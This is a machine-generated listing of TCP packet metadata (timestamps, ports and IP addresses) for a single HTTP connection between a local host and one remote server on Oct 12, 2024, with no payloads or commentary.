Oct 12, 2024 14:17:04.734221935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734251022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734256029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734272957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734287977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734299898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734319925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734334946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734352112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734378099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734396935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734401941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734430075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734456062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734477997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734483957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734527111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734535933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734558105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734581947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734589100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734612942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734621048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734631062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734673023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734673023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734704018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734730005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734736919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734774113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734786987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734790087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734821081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734846115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734850883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734863997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734883070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734896898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734915972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734941959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734947920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734968901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734978914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734987020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735011101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735034943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735042095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735054970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735091925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735096931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735126019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735152006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735172033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735173941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735222101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735234022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735255957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735280991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735286951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735299110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735318899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735346079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735349894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735364914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735382080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735411882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735430002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735459089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735461950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735481977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735495090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.735505104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.735548973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798445940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798536062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798569918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798580885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798580885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798604965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798638105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798659086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798659086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798674107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798696995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798707008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798722982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798741102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.798763990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.798783064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806602001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806651115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806667089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806684971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806700945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806715965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806736946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806749105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806782007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806807041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806821108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806835890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806853056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.806859970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.806902885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815485954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815519094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815557957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815571070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815577984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815603018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815629959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815637112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815659046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815669060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815680981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815704107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815716028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815753937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815759897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815803051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815809965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815835953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815857887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815865993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815896988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815911055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815915108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815947056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.815979958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.815994024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816011906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816041946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816045046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816073895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816099882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816103935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816118002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816152096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816154003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816186905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816215992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816217899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816231012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816251993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816279888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816298962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816299915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816348076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816370010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816380024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816390038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816412926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816446066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816461086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816462040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816497087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816510916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816528082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816540956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816560984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816577911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816597939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816606045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816627026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816652060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816657066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816667080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816699028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816709042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816730022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816756010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816772938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816780090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816828012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816831112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816859961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816886902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816891909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816903114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816922903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816946030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816953897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.816982985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.816998005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817001104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817032099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817059040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817078114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817084074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817126036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817126989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817157984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817173004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817188978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817214012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817220926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817249060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817254066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817266941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817301989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817310095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817356110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817361116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817410946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817410946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817441940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817456961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817475080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817498922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817507982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817524910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817540884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817548990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817573071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817596912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817605972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817620993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817636967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817646027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817668915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817692041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817696095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817711115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817727089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817742109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817759991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817780018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817790985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817799091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817823887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817841053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817853928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817878008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817886114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817909002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817920923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817928076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817953110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817975998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.817982912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.817995071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818017006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818042040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818048954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818065882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818079948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818089008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818110943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818133116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818142891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818152905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818173885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818197012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818206072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818214893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818238020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818263054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818269014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818281889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818300962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818321943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818332911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818346977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818367958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.818380117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.818423033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.823760033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.823792934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.823823929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.823827982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.823864937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.823864937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.823992968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824047089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824053049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824096918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824105978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824136972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824152946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824170113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824177027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824201107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824213982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824235916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824242115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824266911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824276924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824316978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824320078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824351072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824398994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824430943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824460030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824464083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824481010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824508905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824513912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824563980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824568987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824594975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824619055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824628115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824637890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824660063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824687004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824693918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824702978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824723959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824734926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824754953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824768066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824785948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824798107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824820042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824826002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824846983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.824865103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.824887991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887480974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887528896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887547016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887563944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887579918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887597084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887622118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887630939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887640953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887662888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887696981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887700081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.887737989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.887764931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895486116 CEST	80	49730	178.63.215.77	192.168.2.4
